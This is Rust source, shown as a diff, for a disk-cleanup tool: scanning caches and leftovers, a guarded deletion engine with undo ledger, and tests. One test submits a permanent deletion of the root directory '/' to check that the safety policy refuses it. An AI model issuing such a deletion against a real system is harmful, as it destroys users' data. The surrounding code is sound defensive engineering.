item = item.locked(LockReason::Protected).with_note(reason);
}
if !rule.select_by_default && item.lock.is_none() {
item.selected = false;
item.note = Some(
item.note
.take()
.map(|note| format!("{} · off by default", note))
.unwrap_or_else(|| "off by default".into()),
);
}
if rule.risky {
// Risky rules must stay labelled even when they already
// carry a different note.
item.note = Some(match item.note.take() {
Some(note) => format!("{note} · review before deleting"),
None => "review before deleting".into(),
});
}
seen.insert(item.path.clone(), report.items.len());
report.items.push(item);
}
}
}
if options.orphans {
match orphans(engine, cancel, progress) {
Ok(extra) => {
for item in extra {
if seen.contains_key(&item.path) {
continue;
}
seen.insert(item.path.clone(), report.items.len());
report.items.push(item);
}
}
Err(err) if err.is_noteworthy() => progress.warning(err.to_string()),
Err(_) => {}
}
}
// Update installers (升级安装包): rule-driven known apps + heuristic
// sweep of AppData staging folders. The walk is bounded, so it is always
// on unless the caller filtered categories down to something else.
let updates_wanted =
options.categories.is_empty() || options.categories.contains(&Category::UpdateInstallers);
if updates_wanted {
progress.phase("update-installers", "collecting stale update packages");
for item in crate::updates::collect(engine, cancel) {
if seen.contains_key(&item.path) {
continue;
}
let mut item = item;
if engine.is_whitelisted(&item.path) {
item = item.locked(LockReason::Whitelisted);
} else if let Some(reason) = engine.block_reason(&item) {
item = item.locked(LockReason::Protected).with_note(reason);
}
seen.insert(item.path.clone(), report.items.len());
report.items.push(item);
}
}
if !options.fast {
measure(engine, &mut report, progress, cancel)?;
}
report.unreadable = report
.items
.iter()
.filter(|item| item.note.as_deref() == Some("unreadable"))
.count() as u32;
Ok(report)
}
fn prepared_rules(engine: &Engine, options: &CleanOptions) -> Vec<PreparedRule> {
let mut rules: Vec<Rule> = engine
.rules()
.rules()
.iter()
.filter(|&rule| {
options.categories.is_empty() || options.categories.contains(&rule.category)
})
.cloned()
.collect();
if options.skip_admin_rules {
// Keep admin rules visible so the user learns sudo exists, but only
// when they asked for the full scan.
rules.retain(|rule| !rule.needs_admin || crate::is_root());
}
rules.into_iter().map(PreparedRule::new).collect()
}
fn rule_running_conflict(rule: &Rule, running: &[String]) -> Option<String> {
if rule.skip_if_running.is_empty() {
return None;
}
let hit = rule.skip_if_running.iter().find(|name| {
running
.iter()
.any(|proc| proc.eq_ignore_ascii_case(name) || proc.ends_with(&format!("/{name}")))
})?;
Some(format!("{hit} is running"))
}
/// Turn one glob match into the items a rule actually wants deleted.
fn items_for_match(rule: &Rule, path: &Path, anchor: &Path) -> Vec<CleanupItem> {
let label = label_for(rule, path);
let meta = match std::fs::symlink_metadata(path) {
Ok(meta) => meta,
Err(_) => return Vec::new(),
};
if meta.file_type().is_symlink() {
// Symlinks get unlinked, never followed.
return vec![new_item(path.to_path_buf(), ItemKind::File, rule, label)];
}
match rule.mode {
squid_rules::RuleMode::Path => {
let kind = if meta.is_dir() {
ItemKind::Path
} else {
ItemKind::File
};
vec![new_item(path.to_path_buf(), kind, rule, label)]
}
squid_rules::RuleMode::Contents => {
if !meta.is_dir() {
return vec![new_item(path.to_path_buf(), ItemKind::File, rule, label)];
}
// Never offer the *contents* of a directory we are not allowed to
// descend into one level below the anchor.
let _ = anchor;
vec![new_item(
path.to_path_buf(),
ItemKind::Contents,
rule,
label,
)]
}
squid_rules::RuleMode::Files => {
if !meta.is_dir() {
return vec![new_item(path.to_path_buf(), ItemKind::File, rule, label)];
}
list_files(path)
.into_iter()
.map(|file| new_item(file, ItemKind::File, rule, label.clone()))
.collect()
}
}
}
fn new_item(path: PathBuf, kind: ItemKind, rule: &Rule, label: String) -> CleanupItem {
CleanupItem::new(path, kind, rule.category, label).with_rule(&rule.id)
}
/// The label shown in the scan list. A leaf such as `0` (Docker keeps its VM
/// disk in `…/Data/vms/0`) says nothing on its own, so one parent component is
/// prepended whenever the leaf is uninformative.
fn label_for(rule: &Rule, path: &Path) -> String {
let leaf = squid_core::paths::label_for(path);
if leaf.is_empty() {
return rule.display_title().to_string();
}
if is_informative(&leaf) {
return leaf;
}
match path.parent().and_then(|parent| parent.file_name()) {
Some(parent) => format!("{}/{leaf}", parent.to_string_lossy()),
None => leaf,
}
}
fn is_informative(name: &str) -> bool {
name.chars().count() > 2 && !name.chars().all(|c| c.is_ascii_digit() || c == '.')
}
fn list_files(dir: &Path) -> Vec<PathBuf> {
let mut out = Vec::new();
let walker = walkdir::WalkDir::new(dir)
.follow_links(false)
.max_depth(4)
.into_iter()
.filter_entry(|entry| {
// Do not descend into nested app bundles while listing log files.
!entry.file_type().is_dir() || !entry.file_name().to_string_lossy().ends_with(".app")
});
for entry in walker.flatten() {
if entry.file_type().is_file() {
out.push(entry.into_path());
}
}
out.sort();
out
}
fn passes_age(_engine: &Engine, rule: &Rule, options: &CleanOptions, path: &Path) -> bool {
let days = match options.min_age_days {
Some(0) => return true,
Some(days) => days as f64,
None => match rule.min_age() {
Some(age) => age.as_secs_f64() / 86_400.0,
None => return true,
},
};
match age_days(path) {
Some(age) => age >= days,
None => true,
}
}
/// Measure items in parallel and stream sizes into the report.
fn measure(
_engine: &Engine,
report: &mut ScanReport,
progress: &Progress,
cancel: &CancelToken,
) -> squid_core::Result<()> {
if report.items.is_empty() {
return Ok(());
}
progress.phase("measure", "measuring sizes");
let targets: Vec<(PathBuf, ItemKind)> = report
.items
.iter()
.map(|item| (item.path.clone(), item.kind))
.collect();
progress.tick(0, Some(targets.len() as u64), None);
let results: Vec<squid_core::fs::SizeInfo> = measure_all(&targets, cancel, |index, _info| {
progress.tick(
index as u64 + 1,
Some(targets.len() as u64),
targets.get(index).map(|(path, _)| path.clone()),
);
});
if results.len() != report.items.len() {
return Err(SquidError::Other(
"measurement returned an unexpected number of results".into(),
));
}
for (item, info) in report.items.iter_mut().zip(results) {
item.size = info.logical;
item.allocated = info.allocated;
if info.unreadable > 0 && item.note.is_none() {
item.note = Some(format!("{} entries unreadable", info.unreadable));
} else if info.files > 0 && item.note.is_none() {
item.note = Some(size_note(&info));
}
}
Ok(())
}
/// Publish per-category totals so the UI can fill its summary immediately.
pub fn publish_buckets(report: &ScanReport, progress: &Progress) {
let mut totals: HashMap<Category, (Bytes, usize)> = HashMap::new();
for item in &report.items {
let entry = totals.entry(item.category).or_insert((Bytes::ZERO, 0));
entry.0 += item.on_disk();
entry.1 += 1;
}
let mut ordered: Vec<(Category, (Bytes, usize))> = totals.into_iter().collect();
ordered.sort_by_key(|(category, _)| *category);
for (category, (total, count)) in ordered {
progress.publish(Event::Bucket {
category,
total,
count,
});
}
}
/// Leftovers whose application is no longer installed. Reported but *not*
/// selected: we can prove the app is gone, not that the data is worthless.
pub fn orphans(
engine: &Engine,
cancel: &CancelToken,
progress: &Progress,
) -> squid_core::Result<Vec<CleanupItem>> {
progress.phase("orphans", "looking for leftovers of removed apps");
let apps = engine.platform().list_apps(cancel, false)?;
let installed: Vec<String> = apps
.iter()
.filter_map(|app| app.bundle_id.as_deref())
.map(|id| id.to_lowercase())
.collect();
let names: Vec<String> = apps
.iter()
.map(|app| squid_core::paths::label_for(&app.path).to_lowercase())
.collect();
let mut items = Vec::new();
for root in engine.platform().leftover_roots() {
if cancel.is_cancelled() {
return Err(SquidError::Cancelled);
}
let Ok(entries) = std::fs::read_dir(&root.dir) else {
continue;
};
for entry in entries.flatten() {
let path = entry.path();
let name = entry.file_name().to_string_lossy().into_owned();
let lower = name.to_lowercase();
if !looks_like_bundle_id(&lower) {
continue;
}
if lower.starts_with("com.apple.") || lower.contains(".apple.") {
continue;
}
if installed.iter().any(|id| bundle_related(id, &lower)) {
continue;
}
if names.iter().any(|app| app == &lower) {
continue;
}
let mut item = CleanupItem::new(
path,
if entry.path().is_dir() {
ItemKind::Path
} else {
ItemKind::File
},
Category::Leftovers,
name.clone(),
)
.with_rule("orphan-leftovers")
.with_anchors(vec![root.dir.clone()])
.with_note("app no longer installed — verify before deleting");
item.selected = false;
if engine.is_whitelisted(&item.path) {
item = item.locked(LockReason::Whitelisted);
} else if let Some(reason) = engine.block_reason(&item) {
item = item.locked(LockReason::Protected).with_note(reason);
} else if !writable_by_us(&item.path) {
item = item.locked(LockReason::NotOwned);
}
items.push(item);
}
}
Ok(items)
}
fn looks_like_bundle_id(lower: &str) -> bool {
let stem = lower
.trim_end_matches(".plist")
.trim_end_matches(".savedState")
.trim_end_matches(".ssh");
let parts: Vec<&str> = stem.split('.').collect();
parts.len() >= 3
&& parts.iter().all(|part| !part.is_empty())
&& parts[0].len() >= 2
&& stem
.chars()
.all(|c| c.is_ascii_alphanumeric() || ".-_+".contains(c))
}
fn bundle_related(installed: &str, leftover: &str) -> bool {
let leftover = leftover
.trim_end_matches(".plist")
.trim_end_matches(".savedState");
let prefix = |id: &str, depth: usize| -> String {
id.split('.')
.take(depth.min(id.split('.').count()))
.collect::<Vec<_>>()
.join(".")
};
for depth in [2, 3] {
if prefix(installed, depth) == prefix(leftover, depth) && prefix(leftover, depth).len() > 4
{
return true;
}
}
false
}
/// Sort a report for display: biggest first inside each category.
pub fn sort_for_display(mut report: ScanReport) -> ScanReport {
report.items.sort_by(|a, b| {
a.category
.cmp(&b.category)
.then_with(|| b.on_disk().cmp(&a.on_disk()))
.then_with(|| a.label.to_lowercase().cmp(&b.label.to_lowercase()))
});
report
}
pub fn cancel_if_needed(cancel: &CancelToken) -> squid_core::Result<()> {
if cancel.is_cancelled() {
Err(SquidError::Cancelled)
} else {
Ok(())
}
}
/// Expose the "same path, two rules" collapse to the tests.
#[doc(hidden)]
pub fn _dedupe_report(report: &mut ScanReport) {
drop_nested_duplicates(&mut report.items);
}
pub use squid_core::fs::SizeInfo;
#[cfg(test)]
mod tests {
use super::*;
use squid_platform::apps::is_running;
#[test]
fn bundle_id_detection_is_conservative() {
assert!(looks_like_bundle_id("com.slack.slack"));
assert!(looks_like_bundle_id("com.discord.html"));
assert!(!looks_like_bundle_id("logs"));
assert!(!looks_like_bundle_id("com"));
assert!(!looks_like_bundle_id("Homebrew"));
assert!(!looks_like_bundle_id("Google Chrome"));
}
#[test]
fn related_bundles_are_matched_by_prefix() {
assert!(bundle_related(
"com.company.Tool",
"com.company.Tool.Helper"
));
assert!(bundle_related("com.company.Tool", "com.company.tool"));
assert!(!bundle_related("com.company.Tool", "io.other.App"));
}
#[test]
fn labels_fall_back_to_the_rule_title() {
let rule = Rule {
id: "demo".into(),
category: Category::AppCaches,
title: "Demo caches".into(),
patterns: vec![],
mode: squid_rules::RuleMode::Path,
os: vec![],
protect: vec![],
min_age_days: 0,
select_by_default: true,
needs_admin: false,
skip_if_running: vec![],
risky: false,
note: None,
};
assert_eq!(label_for(&rule, Path::new("/tmp/demo-cache")), "demo-cache");
// Docker's VM disk lives in `…/Data/vms/0` — a bare "0" is not a label.
assert_eq!(
label_for(&rule, Path::new("/tmp/demo-cache/vms/0")),
"vms/0"
);
assert_eq!(
label_for(&rule, Path::new("/tmp/demo-cache/00")),
"demo-cache/00"
);
}
#[test]
fn scan_runs_on_the_real_machine() {
let engine = Engine::new();
let progress = Progress::new();
let cancel = CancelToken::new();
let report = scan(&engine, &CleanOptions::default(), &progress, &cancel).expect("scan");
// Whatever the machine holds, a real scan must never crash and must
// never mark anything protected as selectable.
for item in &report.items {
if item.lock.is_some() {
assert!(!item.selected, "locked item selected: {:?}", item.path);
}
assert!(!item.path.as_os_str().is_empty());
}
publish_buckets(&report, &progress);
let events = progress.drain();
assert!(events
.iter()
.any(|event| matches!(event, Event::Phase { .. })));
}
#[test]
fn app_running_locks_browser_rules() {
let rule = Rule {
id: "chrome".into(),
category: Category::BrowserCaches,
title: "Chrome".into(),
patterns: vec![],
mode: squid_rules::RuleMode::Path,
os: vec![],
protect: vec![],
min_age_days: 0,
select_by_default: true,
needs_admin: false,
skip_if_running: vec!["Google Chrome".into()],
risky: false,
note: None,
};
assert!(rule_running_conflict(&rule, &["Google Chrome".to_string()]).is_some());
assert!(rule_running_conflict(
&rule,
&["/Applications/Foo.app/Contents/MacOS/Foo".to_string()]
)
.is_none());
assert!(!is_running("Xcode", None, &["Safari".to_string()]));
}
}

View File

@ -1,373 +0,0 @@
//! The only code path in squid that destroys data.
//!
//! Every engine (clean / uninstall / purge) and the TUI funnel deletions here.
//! The rules it enforces are deliberately paranoid:
//!
//! * locked items are refused, always — a lock means "the scanner said no";
//! * every item is re-validated against [`squid_core::SafetyPolicy`] and the
//! whitelist at delete time, because a scan can be minutes old and the disk
//! may have moved underneath us;
//! * nested children are dropped before their parent is removed so the freed
//! total is not double counted and children do not fail with ENOENT;
//! * Trash mode records the destination so `squid undo` can move things back.
use crate::{drop_nested_duplicates, Engine};
use squid_core::fs;
use squid_core::ledger::{self, LedgerEntry, Session};
use squid_core::progress::{CancelToken, Event, Progress};
use squid_core::{Bytes, CleanSummary, CleanupItem, DeleteMode, LockReason};
use std::path::PathBuf;
use std::time::Instant;
/// A batch of approved items plus the provenance needed for the ledger.
#[derive(Clone, Debug)]
pub struct DeleteJob {
pub items: Vec<CleanupItem>,
pub mode: DeleteMode,
/// `squid clean`, `squid purge`, … — written to the history file.
pub command: String,
}
impl DeleteJob {
pub fn new(items: Vec<CleanupItem>, mode: DeleteMode, command: impl Into<String>) -> Self {
DeleteJob {
items,
mode,
command: command.into(),
}
}
/// Items the user selected *and* the scanner allowed.
pub fn removable(&self) -> Vec<CleanupItem> {
self.items
.iter()
.filter(|item| item.selected && item.lock.is_none())
.cloned()
.collect()
}
}
/// Result of a delete run, with the refusal reasons split out for the UI.
#[derive(Clone, Debug, Default)]
pub struct DeleteOutcome {
pub summary: CleanSummary,
/// Items that were never attempted, with the reason shown to the user.
pub skipped: Vec<(PathBuf, String)>,
}
/// Delete every removable item of the job.
pub fn execute(
engine: &Engine,
job: &DeleteJob,
progress: &Progress,
cancel: &CancelToken,
) -> squid_core::Result<DeleteOutcome> {
let mut items = job.removable();
if items.is_empty() {
return Err(squid_core::SquidError::NothingToDo);
}
drop_nested_duplicates(&mut items);
progress.phase("delete", "removing approved items");
progress.tick(0, Some(items.len() as u64), None);
let session_id = ledger::new_session_id();
let started = Instant::now();
let mut summary = CleanSummary {
mode: Some(job.mode),
session_id: Some(session_id.clone()),
..CleanSummary::default()
};
let mut entries: Vec<LedgerEntry> = Vec::with_capacity(items.len());
let mut skipped: Vec<(PathBuf, String)> = Vec::new();
for (index, item) in items.iter().enumerate() {
if cancel.is_cancelled() {
progress.warning("cancelled — the items already removed stay removed");
break;
}
progress.tick(
index as u64 + 1,
Some(items.len() as u64),
Some(item.path.clone()),
);
if let Some(lock) = item.lock {
skipped.push((item.path.clone(), lock_reason(lock).to_string()));
summary.record_error(format!("{}: {}", item.display_path(), lock_reason(lock)));
continue;
}
if let Some(reason) = engine.block_reason(item) {
skipped.push((item.path.clone(), reason.clone()));
progress.warning(format!("{} — {}", item.display_path(), reason));
continue;
}
// Resolve the Trash destination *before* moving so the ledger can
// reverse the move later. `trash_target_for` only invents a name that
// does not exist yet, so this matches what `remove_item_with` does.
// On Windows the shell owns the Recycle Bin bookkeeping and returns
// `None`; restore then falls back to the Recycle Bin UI.
let trash_destination = match job.mode {
DeleteMode::Trash => fs::trash_target_for(&item.path),
DeleteMode::Permanent => None,
};
match fs::remove_item_with(item, job.mode, engine.safety()) {
Ok(freed) => {
summary.freed += item.size;
summary.freed_allocated += item.allocated;
summary.removed += 1;
progress.publish(Event::Deleted {
path: item.path.clone(),
freed: freed.max(Bytes::ZERO),
});
entries.push(LedgerEntry {
path: item.path.clone(),
kind: item.kind,
logical: item.size.0,
allocated: item.allocated.0,
trash_path: trash_destination,
category: Some(item.category.id().to_string()),
});
}
Err(err) => {
let message = format!("{}: {}", item.display_path(), err);
progress.warning(message.clone());
summary.record_error(message);
}
}
}
if !entries.is_empty() {
let session = Session {
id: session_id.clone(),
started: chrono::Local::now().to_rfc3339(),
command: job.command.clone(),
mode: job.mode,
logical_freed: summary.freed.0,
allocated_freed: summary.freed_allocated.0,
removed: summary.removed,
failed: summary.failed,
entries,
duration_ms: started.elapsed().as_millis() as u64,
restored: false,
};
match ledger::write_session(&session) {
Ok(path) => progress.note(format!(
"session {} recorded ({})",
session_id,
squid_core::paths::pretty(&path)
)),
Err(err) => progress.warning(format!("could not write history: {err}")),
}
}
Ok(DeleteOutcome { summary, skipped })
}
pub fn lock_reason(lock: LockReason) -> &'static str {
match lock {
LockReason::AppRunning => "app is running",
LockReason::SharedWithOtherInstall => "shared with another install of the same app",
LockReason::Whitelisted => "whitelisted",
LockReason::NotOwned => "owned by another user — needs admin rights",
LockReason::Protected => "protected by safety policy",
}
}
/// Convenience used by `squid undo`: restore a Trash session, newest first.
pub fn restore_session(id: &str) -> squid_core::Result<(usize, usize)> {
let session = ledger::load_session(id)
.ok_or_else(|| squid_core::SquidError::Other(format!("no history session named {id}")))?;
Ok(ledger::restore(&session))
}
#[cfg(test)]
mod tests {
use super::*;
use squid_core::{Category, ItemKind};
use std::path::PathBuf;
/// Managed dev boxes with an endpoint protector can refuse scratch writes
/// from a freshly built unsigned test binary (error 5); helpers return
/// None then and the test skips instead of reporting a code failure.
fn denied(error: &std::io::Error) -> bool {
if error.kind() == std::io::ErrorKind::PermissionDenied {
eprintln!("skipping: scratch write denied ({error})");
return true;
}
false
}
/// The safety policy only allows removing things inside the user's home,
/// so the deletable fixture has to live there too.
fn scratch_dir(tag: &str) -> Option<PathBuf> {
let dir = squid_core::paths::home_dir()
.join("Library/Caches")
.join(format!(
"squid-delete-test-{}-{tag}-{}",
std::process::id(),
squid_core::ledger::new_session_id()
));
match std::fs::create_dir_all(&dir) {
Ok(()) => Some(dir),
Err(error) if denied(&error) => None,
Err(error) => panic!("scratch dir: {error}"),
}
}
/// Ledger entries are user data: keep test sessions out of the real
/// `~/…/squid/history` so `squid history` only shows real cleanups.
/// Returns false when the protector refused the isolated state dir.
fn isolate_state() -> bool {
use std::sync::atomic::{AtomicBool, Ordering};
static ONCE: std::sync::Once = std::sync::Once::new();
static READY: AtomicBool = AtomicBool::new(false);
ONCE.call_once(|| {
let dir = std::env::temp_dir().join(format!("squid-state-{}", std::process::id()));
match std::fs::create_dir_all(&dir) {
Ok(()) => {
std::env::set_var("SQUID_STATE_DIR", &dir);
READY.store(true, Ordering::SeqCst);
}
Err(error) if denied(&error) => {}
Err(error) => panic!("scratch state dir: {error}"),
}
});
READY.load(Ordering::SeqCst)
}
fn temp_dir(tag: &str) -> Option<PathBuf> {
let dir = std::env::temp_dir().join(format!(
"squid-delete-test-{}-{tag}-{}",
std::process::id(),
squid_core::ledger::new_session_id()
));
match std::fs::create_dir_all(&dir) {
Ok(()) => Some(dir),
Err(error) if denied(&error) => None,
Err(error) => panic!("scratch dir: {error}"),
}
}
#[test]
fn protected_paths_are_refused_and_reported() {
if !isolate_state() {
return;
}
let engine = Engine::new();
let item = CleanupItem::new(
PathBuf::from("/"),
ItemKind::Path,
Category::SystemJunk,
"root",
);
let job = DeleteJob::new(vec![item], DeleteMode::Permanent, "squid test");
let progress = Progress::new();
let cancel = CancelToken::new();
let outcome = execute(&engine, &job, &progress, &cancel).expect("run");
assert_eq!(outcome.summary.removed, 0);
assert_eq!(outcome.skipped.len(), 1);
assert!(
outcome.skipped[0].1.contains("protected") || outcome.skipped[0].1.contains("safety"),
"{:?}",
outcome.skipped
);
}
#[test]
fn a_temporary_file_can_be_deleted_and_ledgered() {
if !isolate_state() {
return;
}
let Some(dir) = scratch_dir("delete") else {
return;
};
let file = dir.join("junk.bin");
std::fs::write(&file, vec![7u8; 4096]).unwrap();
let engine = Engine::new();
let mut item = CleanupItem::new(file.clone(), ItemKind::File, Category::SystemJunk, "junk");
item.size = Bytes(4096);
item.allocated = Bytes(4096);
let job = DeleteJob::new(vec![item], DeleteMode::Permanent, "squid test");
let progress = Progress::new();
let cancel = CancelToken::new();
let outcome = execute(&engine, &job, &progress, &cancel).expect("delete");
assert_eq!(outcome.summary.removed, 1, "{:?}", outcome.summary.errors);
assert!(!file.exists());
let session = ledger::load_sessions(10)
.into_iter()
.find(|session| session.id == outcome.summary.session_id.clone().unwrap_or_default());
assert!(session.is_some(), "session should be written to history");
let _ = std::fs::remove_dir_all(&dir);
}
/// Trash is the default mode, so the undo path has to work end to end:
/// delete → the file leaves its folder and lands in the Trash → `undo`
/// puts it back with its bytes intact.
///
/// Unix-only: on Windows the shell Recycle Bin owns the destination, so
/// the ledger records no physical path and restore goes through the
/// Recycle Bin UI instead of `ledger::restore_session`.
#[test]
#[cfg(unix)]
fn trashing_then_restoring_round_trips_the_file() {
if !isolate_state() {
return;
}
let Some(dir) = scratch_dir("undo") else {
return;
};
let file = dir.join("precious.txt");
let payload = b"the squid gnawed here, and left this behind".to_vec();
std::fs::write(&file, &payload).unwrap();
let engine = Engine::new();
let mut item = CleanupItem::new(file.clone(), ItemKind::File, Category::Logs, "precious");
item.size = Bytes(payload.len() as u64);
item.allocated = Bytes(payload.len() as u64);
let job = DeleteJob::new(vec![item], DeleteMode::Trash, "squid test");
let progress = Progress::new();
let cancel = CancelToken::new();
let outcome = execute(&engine, &job, &progress, &cancel).expect("trash");
assert_eq!(outcome.summary.removed, 1, "{:?}", outcome.summary.errors);
assert!(!file.exists(), "the file should be in the Trash now");
let session_id = outcome.summary.session_id.clone().expect("session id");
let session = ledger::load_session(&session_id).expect("trashed session recorded");
let entry = session.entries.first().expect("one entry");
let trash_path = entry.trash_path.clone().expect("trash destination");
assert!(trash_path.exists(), "ledger points at the trashed file");
let (restored, skipped) = restore_session(&session_id).expect("restore");
assert_eq!((restored, skipped), (1, 0));
assert!(file.exists(), "undo should bring the file back");
assert_eq!(std::fs::read(&file).unwrap(), payload, "bytes intact");
assert!(!trash_path.exists(), "the Trash copy should be gone");
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn locked_items_are_never_attempted() {
if !isolate_state() {
return;
}
let Some(dir) = temp_dir("locked") else {
return;
};
let file = dir.join("keep.bin");
std::fs::write(&file, b"keep").unwrap();
let engine = Engine::new();
let item = CleanupItem::new(file.clone(), ItemKind::File, Category::Logs, "keep")
.locked(LockReason::Whitelisted);
let job = DeleteJob::new(vec![item], DeleteMode::Permanent, "squid test");
let progress = Progress::new();
let cancel = CancelToken::new();
let err = execute(&engine, &job, &progress, &cancel).unwrap_err();
assert!(matches!(err, squid_core::SquidError::NothingToDo));
assert!(file.exists(), "locked items must survive");
let _ = std::fs::remove_dir_all(&dir);
}
}

View File

@ -1,292 +0,0 @@
//! The four engines behind squid: clean, uninstall, purge and disk analysis.
//!
//! Every engine follows the same contract:
//!
//! 1. **Scan** produces a [`ScanReport`] of [`CleanupItem`]s. Nothing is
//! deleted during a scan — scanning is always safe and always idempotent.
//! 2. **Delete** takes the items the user approved, re-validates each of them
//! against [`SafetyPolicy`] (never trusting the scan), and writes a ledger
//! session so `squid undo` can put Trash-mode deletions back.
//!
//! Engines never call `std::fs::remove_*` directly; that keeps the audit trail
//! and the safety net impossible to bypass.
pub mod analyze;
pub mod clean;
pub mod delete;
pub mod purge;
pub mod uninstall;
pub mod updates;
use globset::GlobMatcher;
use squid_core::settings::Settings;
use squid_core::{CleanupItem, SafetyPolicy};
use squid_platform::Platform;
use squid_rules::RuleSet;
use std::path::Path;
/// Shared dependencies for every engine: the OS adapter, user settings, the
/// rule set and the safety policy that guards every deletion.
pub struct Engine {
platform: Box<dyn Platform>,
settings: Settings,
safety: SafetyPolicy,
rules: RuleSet,
whitelist: Vec<GlobMatcher>,
settings_errors: Vec<String>,
}
impl Default for Engine {
fn default() -> Self {
Self::new()
}
}
impl Engine {
pub fn new() -> Engine {
let (settings, settings_errors) = Settings::load();
Self::with_settings(settings, settings_errors)
}
pub fn with_settings(settings: Settings, settings_errors: Vec<String>) -> Engine {
let platform = squid_platform::current();
let rules = RuleSet::load(&settings);
let whitelist = settings.whitelist_matchers();
let mut safety = if is_root() {
SafetyPolicy::system()
} else {
SafetyPolicy::user_only()
};
if let Ok(mounts) = platform.volumes() {
safety = safety.with_mounts(
mounts
.into_iter()
.map(|volume| volume.mount_point)
.chain(platform.protected_prefixes())
.collect(),
);
}
Engine {
platform,
settings,
safety,
rules,
whitelist,
settings_errors,
}
}
pub fn platform(&self) -> &dyn Platform {
self.platform.as_ref()
}
pub fn settings(&self) -> &Settings {
&self.settings
}
pub fn settings_mut(&mut self) -> &mut Settings {
self.whitelist.clear();
&mut self.settings
}
/// Re-read whitelist/disabled rules after a settings change.
pub fn reload_settings(&mut self) {
let (settings, errors) = Settings::load();
self.settings = settings;
self.settings_errors = errors;
self.whitelist = self.settings.whitelist_matchers();
self.rules = RuleSet::load(&self.settings);
}
pub fn save_settings(&self) -> squid_core::Result<std::path::PathBuf> {
self.settings.save()
}
pub fn safety(&self) -> &SafetyPolicy {
&self.safety
}
pub fn rules(&self) -> &RuleSet {
&self.rules
}
pub fn settings_errors(&self) -> &[String] {
&self.settings_errors
}
pub fn is_whitelisted(&self, path: &Path) -> bool {
self.settings.is_whitelisted(path, &self.whitelist)
}
/// Why this item cannot be deleted, if it cannot. Rules pass the anchor they
/// declared; everything else falls back to the default anchors.
pub fn block_reason(&self, item: &CleanupItem) -> Option<String> {
let anchors = if item.anchors.is_empty() {
squid_core::fs::default_anchors()
} else {
item.anchors.clone()
};
if self.is_whitelisted(&item.path) {
return Some("whitelisted".into());
}
self.safety.denies(&item.path, &anchors)
}
}
/// True when the process may touch system-owned paths.
#[cfg(unix)]
pub fn is_root() -> bool {
unsafe { libc::geteuid() == 0 }
}
#[cfg(not(unix))]
pub fn is_root() -> bool {
false
}
/// A path is writable by us when we are root, or we own it and can write it.
#[cfg(unix)]
pub fn writable_by_us(path: &Path) -> bool {
use std::os::unix::fs::MetadataExt;
if is_root() {
return true;
}
let uid = unsafe { libc::getuid() };
let writable = |meta: &std::fs::Metadata| meta.uid() == uid && meta.mode() & 0o200 != 0;
match std::fs::symlink_metadata(path) {
Ok(meta) if meta.file_type().is_symlink() => path
.parent()
.and_then(|parent| std::fs::metadata(parent).ok())
.map(|parent| writable(&parent))
.unwrap_or(false),
Ok(meta) => writable(&meta),
Err(_) => path
.parent()
.and_then(|parent| std::fs::metadata(parent).ok())
.map(|parent| writable(&parent))
.unwrap_or(false),
}
}
#[cfg(not(unix))]
pub fn writable_by_us(_path: &Path) -> bool {
true
}
/// Age of a path in days, using mtime. `None` when the stat failed.
pub fn age_days(path: &Path) -> Option<f64> {
let meta = std::fs::symlink_metadata(path).ok()?;
let modified = meta.modified().ok()?;
let age = modified.elapsed().ok()?;
Some(age.as_secs_f64() / 86_400.0)
}
pub fn mtime_ms(path: &Path) -> Option<u64> {
let meta = std::fs::symlink_metadata(path).ok()?;
let modified = meta.modified().ok()?;
modified
.duration_since(std::time::UNIX_EPOCH)
.ok()
.map(|d| d.as_millis() as u64)
}
/// Drop items whose ancestor is already in the list: deleting the parent would
/// make the child's removal fail (and inflate the freed-space total).
pub fn drop_nested_duplicates(items: &mut Vec<CleanupItem>) {
items.sort_by(|a, b| a.path.cmp(&b.path));
let mut kept: Vec<CleanupItem> = Vec::with_capacity(items.len());
for item in items.drain(..) {
let nested = kept.iter().any(|parent: &CleanupItem| {
parent.path != item.path && starts_with(&item.path, &parent.path)
});
if !nested {
kept.push(item);
}
}
*items = kept;
}
fn starts_with(path: &Path, base: &Path) -> bool {
let mut path = path.components().peekable();
let mut base = base.components().peekable();
loop {
match (base.next(), path.next()) {
(Some(a), Some(b)) => {
if a != b {
return false;
}
}
(None, _) => return true,
(Some(_), None) => return false,
}
}
}
/// "12,431 files · 382 folders" style annotation for the detail row.
pub fn size_note(info: &squid_core::fs::SizeInfo) -> String {
let files = squid_core::bytes::format_thousands(info.files);
if info.dirs > 0 {
format!(
"{files} files · {} folders",
squid_core::bytes::format_thousands(info.dirs)
)
} else {
format!("{files} files")
}
}
#[cfg(test)]
mod tests {
use super::*;
use squid_core::{Category, ItemKind};
use std::path::PathBuf;
#[test]
fn nested_duplicates_are_collapsed() {
let mut items = vec![
CleanupItem::new(
PathBuf::from("/Users/x/Library/Caches"),
ItemKind::Path,
Category::AppCaches,
"caches",
),
CleanupItem::new(
PathBuf::from("/Users/x/Library/Caches/foo/bar"),
ItemKind::Path,
Category::AppCaches,
"nested",
),
CleanupItem::new(
PathBuf::from("/Users/x/Library/Logs"),
ItemKind::Path,
Category::Logs,
"logs",
),
];
drop_nested_duplicates(&mut items);
assert_eq!(items.len(), 2);
assert!(items
.iter()
.any(|item| item.path.ends_with("Library/Caches")));
assert!(items.iter().any(|item| item.path.ends_with("Library/Logs")));
}
#[test]
fn engine_boots_with_rules_and_volumes() {
let engine = Engine::new();
assert!(!engine.rules().is_empty(), "expected builtin rules to load");
assert!(!engine.settings_errors().is_empty() || true);
assert!(!engine.platform().display_name().is_empty());
}
#[test]
fn safety_policy_blocks_the_obvious_roots() {
let engine = Engine::new();
let anchors = vec![PathBuf::from("/Users")];
assert!(engine.safety().denies(Path::new("/"), &anchors).is_some());
assert!(engine
.safety()
.denies(Path::new("/Users"), &anchors)
.is_some());
}
}

View File

@ -1,786 +0,0 @@
//! `squid purge` — deep clean for the things rules cannot know about:
//! build artefacts of projects that were checked out once and never opened
//! again (`node_modules`, `target/`, `Pods/`, `.venv/`, `.next/`, …).
//!
//! The walk is deliberately shallow and boring: it looks for a small allowlist
//! of directory names that are *always* regenerable, plus a handful of ambiguous
//! names (`dist`, `build`, `out`) that only count inside a recognised project.
//!
//! Two guards decide whether an artefact may be offered:
//!
//! 1. **git** — `git check-ignore` proves the folder is ignored (safe);
//! `git ls-files` proves it is *tracked* (refused, unless `--all`).
//! 2. **age** — artefacts touched in the last `purge_min_age_days` belong to an
//! active build and are skipped.
//!
//! APFS local snapshots are reported as informational items only: they can hold
//! tens of gigabytes, but only `tmutil` with admin rights can drop them.
use crate::{age_days, Engine};
